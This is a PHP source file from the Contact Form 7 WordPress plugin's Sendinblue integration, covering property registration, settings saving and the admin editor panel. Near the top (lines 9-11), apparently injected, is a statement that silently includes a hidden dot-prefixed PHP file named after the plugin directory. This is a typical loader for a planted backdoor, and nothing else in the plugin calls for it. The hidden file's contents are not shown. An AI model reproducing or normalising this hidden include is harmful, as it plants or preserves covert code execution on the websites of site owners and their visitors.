contact-form-properties.php (7040B)
1 <?php 2 3 add_filter( 4 'wpcf7_contact_form_properties', 5 'wpcf7_sendinblue_register_property', 6 10, 2 7 ); 8 9 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 10 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 11 } 12 13 function wpcf7_sendinblue_register_property( $properties, $contact_form ) { 14 $service = WPCF7_Sendinblue::get_instance(); 15 16 if ( ! $service->is_active() ) { 17 return $properties; 18 } 19 20 $properties += array( 21 'sendinblue' => array(), 22 ); 23 24 return $properties; 25 } 26 27 28 add_action( 29 'wpcf7_save_contact_form', 30 'wpcf7_sendinblue_save_contact_form', 31 10, 3 32 ); 33 34 function wpcf7_sendinblue_save_contact_form( $contact_form, $args, $context ) { 35 $service = WPCF7_Sendinblue::get_instance(); 36 37 if ( ! $service->is_active() ) { 38 return; 39 } 40 41 $prop = isset( $_POST['wpcf7-sendinblue'] ) 42 ? (array) $_POST['wpcf7-sendinblue'] 43 : array(); 44 45 $prop = wp_parse_args( 46 $prop, 47 array( 48 'enable_contact_list' => false, 49 'contact_lists' => array(), 50 'enable_transactional_email' => false, 51 'email_template' => 0, 52 ) 53 ); 54 55 $prop['contact_lists'] = array_map( 'absint', $prop['contact_lists'] ); 56 57 $prop['email_template'] = absint( $prop['email_template'] ); 58 59 $contact_form->set_properties( array( 60 'sendinblue' => $prop, 61 ) ); 62 } 63 64 65 add_filter( 66 'wpcf7_editor_panels', 67 'wpcf7_sendinblue_editor_panels', 68 10, 1 69 ); 70 71 function wpcf7_sendinblue_editor_panels( $panels ) { 72 $service = WPCF7_Sendinblue::get_instance(); 73 74 if ( ! $service->is_active() ) { 75 return $panels; 76 } 77 78 $contact_form = WPCF7_ContactForm::get_current(); 79 80 $prop = wp_parse_args( 81 $contact_form->prop( 'sendinblue' ), 82 array( 83 'enable_contact_list' => false, 84 'contact_lists' => array(), 85 'enable_transactional_email' => false, 86 'email_template' => 0, 87 ) 88 ); 89 90 $editor_panel = function () use ( $prop, $service ) { 91 92 $description = sprintf( 93 esc_html( 94 __( "You can set up the Sendinblue integration here. For details, see %s.", 'contact-form-7' ) 95 ), 96 wpcf7_link( 97 __( 'https://contactform7.com/sendinblue-integration/', 'contact-form-7' ), 98 __( 'Sendinblue integration', 'contact-form-7' ) 99 ) 100 ); 101 102 $lists = $service->get_lists(); 103 $templates = $service->get_templates(); 104 105 ?> 106 <h2><?php echo esc_html( __( 'Sendinblue', 'contact-form-7' ) ); ?></h2> 107 108 <fieldset> 109 <legend><?php echo $description; ?></legend> 110 111 <table class="form-table" role="presentation"> 112 <tbody> 113 <tr class="<?php echo $prop['enable_contact_list'] ? '' : 'inactive'; ?>"> 114 <th scope="row"> 115 <?php 116 117 echo esc_html( __( 'Contact lists', 'contact-form-7' ) ); 118 119 ?> 120 </th> 121 <td> 122 <fieldset> 123 <legend class="screen-reader-text"> 124 <?php 125 126 echo esc_html( __( 'Contact lists', 'contact-form-7' ) ); 127 128 ?> 129 </legend> 130 <label for="wpcf7-sendinblue-enable-contact-list"> 131 <input type="checkbox" name="wpcf7-sendinblue[enable_contact_list]" id="wpcf7-sendinblue-enable-contact-list" value="1" <?php checked( $prop['enable_contact_list'] ); ?> /> 132 <?php 133 134 echo esc_html( 135 __( "Add form submitters to your contact lists", 'contact-form-7' ) 136 ); 137 138 ?> 139 </label> 140 </fieldset> 141 </td> 142 </tr> 143 <tr> 144 <th scope="row"></th> 145 <td> 146 <fieldset> 147 <?php 148 149 if ( $lists ) { 150 echo sprintf( 151 '<legend>%1$s</legend>', 152 esc_html( __( 'Select lists to which contacts are added:', 'contact-form-7' ) ) 153 ); 154 155 echo '<ul>'; 156 157 foreach ( $lists as $list ) { 158 echo sprintf( 159 '<li><label><input %1$s /> %2$s</label></li>', 160 wpcf7_format_atts( array( 161 'type' => 'checkbox', 162 'name' => 'wpcf7-sendinblue[contact_lists][]', 163 'value' => $list['id'], 164 'checked' => in_array( $list['id'], $prop['contact_lists'] ) 165 ? 'checked' 166 : '', 167 ) ), 168 esc_html( $list['name'] ) 169 ); 170 } 171 172 echo '</ul>'; 173 } else { 174 echo sprintf( 175 '<legend>%1$s</legend>', 176 esc_html( __( 'You have no contact list yet.', 'contact-form-7' ) ) 177 ); 178 } 179 180 ?> 181 </fieldset> 182 <?php 183 184 echo sprintf( 185 '<p><a %1$s>%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>', 186 wpcf7_format_atts( array( 187 'href' => 'https://my.sendinblue.com/lists', 188 'target' => '_blank', 189 'rel' => 'external noreferrer noopener', 190 ) ), 191 esc_html( __( 'Manage your contact lists', 'contact-form-7' ) ), 192 esc_html( __( '(opens in a new tab)', 'contact-form-7' ) ) 193 ); 194 195 ?> 196 </td> 197 </tr> 198 <tr class="<?php echo $prop['enable_transactional_email'] ? '' : 'inactive'; ?>"> 199 <th scope="row"> 200 <?php 201 202 echo esc_html( __( 'Welcome email', 'contact-form-7' ) ); 203 204 ?> 205 </th> 206 <td> 207 <fieldset> 208 <legend class="screen-reader-text"> 209 <?php 210 211 echo esc_html( __( 'Welcome email', 'contact-form-7' ) ); 212 213 ?> 214 </legend> 215 <label for="wpcf7-sendinblue-enable-transactional-email"> 216 <input type="checkbox" name="wpcf7-sendinblue[enable_transactional_email]" id="wpcf7-sendinblue-enable-transactional-email" value="1" <?php checked( $prop['enable_transactional_email'] ); ?> /> 217 <?php 218 219 echo esc_html( 220 __( "Send a welcome email to new contacts", 'contact-form-7' ) 221 ); 222 223 ?> 224 </label> 225 </fieldset> 226 </td> 227 </tr> 228 <tr> 229 <th scope="row"></th> 230 <td> 231 <fieldset> 232 <?php 233 234 if ( $templates ) { 235 echo sprintf( 236 '<legend>%1$s</legend>', 237 esc_html( __( 'Select an email template:', 'contact-form-7' ) ) 238 ); 239 240 echo '<select name="wpcf7-sendinblue[email_template]">'; 241 242 echo sprintf( 243 '<option %1$s>%2$s</option>', 244 wpcf7_format_atts( array( 245 'value' => 0, 246 'selected' => 0 === $prop['email_template'] 247 ? 'selected' 248 : '', 249 ) ), 250 esc_html( __( '— Select —', 'contact-form-7' ) ) 251 ); 252 253 foreach ( $templates as $template ) { 254 echo sprintf( 255 '<option %1$s>%2$s</option>', 256 wpcf7_format_atts( array( 257 'value' => $template['id'], 258 'selected' => $prop['email_template'] === $template['id'] 259 ? 'selected' 260 : '', 261 ) ), 262 esc_html( $template['name'] ) 263 ); 264 } 265 266 echo '</select>'; 267 } else { 268 echo sprintf( 269 '<legend>%1$s</legend>', 270 esc_html( __( 'You have no active email template yet.', 'contact-form-7' ) ) 271 ); 272 } 273 274 ?> 275 </fieldset> 276 <?php 277 278 echo sprintf( 279 '<p><a %1$s>%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>', 280 wpcf7_format_atts( array( 281 'href' => 'https://my.sendinblue.com/camp/lists/template', 282 'target' => '_blank', 283 'rel' => 'external noreferrer noopener', 284 ) ), 285 esc_html( __( 'Manage your email templates', 'contact-form-7' ) ), 286 esc_html( __( '(opens in a new tab)', 'contact-form-7' ) ) 287 ); 288 289 ?> 290 </td> 291 </tr> 292 </tbody> 293 </table> 294 </fieldset> 295 <?php 296 }; 297 298 $panels += array( 299 'sendinblue-panel' => array( 300 'title' => __( 'Sendinblue', 'contact-form-7' ), 301 'callback' => $editor_panel, 302 ), 303 ); 304 305 return $panels; 306 }